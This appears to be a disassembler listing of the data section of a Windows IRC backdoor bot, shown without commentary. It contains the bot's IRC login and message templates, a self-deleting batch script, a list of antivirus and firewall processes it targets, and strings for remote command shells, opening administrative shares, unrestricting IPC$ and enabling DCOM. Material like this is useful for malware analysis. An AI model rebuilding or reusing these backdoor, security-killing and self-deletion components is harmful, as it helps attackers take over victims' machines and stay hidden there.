aShez		db 'Shez',0             ; DATA XREF: ___:00437CECo
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00437CE8o
aFlexster	db 'flexster',0         ; DATA XREF: ___:00437CE4o
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00437CE0o
		align 10h
aMale		db 'male',0             ; DATA XREF: ___:00437CDCo
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00437CD8o
		align 10h
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:00437CD4o
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00437CD0o
		align 10h
aEmilya		db 'emilya',0           ; DATA XREF: ___:00437CCCo
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00437CC8o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:00437CC4o
aFarooq		db 'farooq',0           ; DATA XREF: ___:00437CC0o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00437CBCo
		align 10h
aM_0:					; DATA XREF: ___:00437CB8o
					; ___:00438004o
		unicode	0, <M>,0
word_438724	dw 4Eh			; DATA XREF: sub_419E79+38r
					; ___:00437CB4o
		align 4
dword_438728	dd 42h			; DATA XREF: ___:00437CB0o
dword_43872C	dd 56h			; DATA XREF: ___:00437CACo
dword_438730	dd 43h			; DATA XREF: ___:00437CA8o
dword_438734	dd 58h			; DATA XREF: ___:00437CA4o
					; ___:00438038o
dword_438738	dd 5Ah			; DATA XREF: ___:00437CA0o
dword_43873C	dd 4Ch			; DATA XREF: ___:00437C9Co
dword_438740	dd 4Bh			; DATA XREF: ___:00437C98o
dword_438744	dd 4Ah			; DATA XREF: ___:00437C94o
dword_438748	dd 48h			; DATA XREF: ___:00437C90o
dword_43874C	dd 47h			; DATA XREF: ___:00437C8Co
dword_438750	dd 46h			; DATA XREF: ___:00437C88o
					; ___:00438000o
dword_438754	dd 44h			; DATA XREF: ___:00437C84o
dword_438758	dd 53h			; DATA XREF: ___:00437C80o
dword_43875C	dd 50h			; DATA XREF: ___:00437C78o
dword_438760	dd 4Fh			; DATA XREF: ___:00437C74o
dword_438764	dd 55h			; DATA XREF: ___:00437C6Co
word_438768	dw 59h			; DATA XREF: sub_41A19D+38r
					; ___:00437C68o
		align 4
dword_43876C	dd 54h			; DATA XREF: ___:00437C64o
dword_438770	dd 52h			; DATA XREF: ___:00437C60o
dword_438774	dd 45h			; DATA XREF: ___:00437C5Co
dword_438778	dd 57h			; DATA XREF: ___:00437C58o
dword_43877C	dd 51h			; DATA XREF: ___:00437C54o
dword_438780	dd 62h			; DATA XREF: ___:00437C48o
					; ___:00437F3Co ...
dword_438784	dd 78h			; DATA XREF: ___:00437C3Co
dword_438788	dd 7Ah			; DATA XREF: ___:00437C38o
dword_43878C	dd 6Ch			; DATA XREF: ___:00437C34o
dword_438790	dd 68h			; DATA XREF: ___:00437C28o
dword_438794	dd 67h			; DATA XREF: ___:00437C24o
dword_438798	dd 66h,	79h, 77h	; DATA XREF: ___:00437C20o
dword_4387A4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387B0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387B4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43892C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_438984	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389A0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389A4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389A8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A14h, 438A0Ch,	2, 438A00h, 4389F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:004389D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:004389D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389BCo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389A0o
unk_438A68	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438A8C	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AB8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43900C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439030	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43904C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_439098	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_4390F8	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439120	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_439170	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43932C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439360	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439668	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_439694	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396C0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397B0
		dd offset dword_4397A4
		dd offset dword_439798
		dd offset dword_43978C
		dd offset dword_43977C
		dd offset dword_439770
		dd offset dword_439764
		dd offset dword_439758
		dd offset dword_43974C
		dd offset dword_43973C
		dd offset dword_439730
		dd offset dword_439720
dword_439720	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043971Co
dword_439730	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439718o
dword_43973C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439714o
dword_43974C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439710o
dword_439758	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043970Co
dword_439764	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439708o
dword_439770	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439704o
dword_43977C	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439700o
dword_43978C	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:004396FCo
dword_439798	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:004396F8o
dword_4397A4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:004396F4o
dword_4397B0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:004396F0o
dword_4397BC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:004396ECo
dword_4397C8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:004396E8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396E4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:004396DCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:004396D8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:004396D4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:004396D0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396CCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396C8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396C4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396C0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_439878	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43989C	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398C0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439948	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399AC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_4399D0	dd offset dword_439A08	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		dd 0
		dd offset dword_439A00
		align 10h
off_4399E0	dd offset dword_4399FC	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_4399F8
		dd offset dword_4399F4
		dd offset dword_4399F0
dword_4399F0	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:004399ECo
dword_4399F4	dd 2444h		; DATA XREF: ___:004399E8o
dword_4399F8	dd 5C3A43h		; DATA XREF: ___:004399E4o
dword_4399FC	dd 2443h		; DATA XREF: ___:off_4399E0o
dword_439A00	dd 494D4441h, 244Eh	; DATA XREF: ___:004399D8o
dword_439A08	dd 24435049h, 0		; DATA XREF: ___:off_4399D0o
dword_439A10	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439A94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AB8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439AE4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B08	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439B74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439BF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C28	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C48	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439CD0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439CF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D2C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D64	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DA4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DC0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E18	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
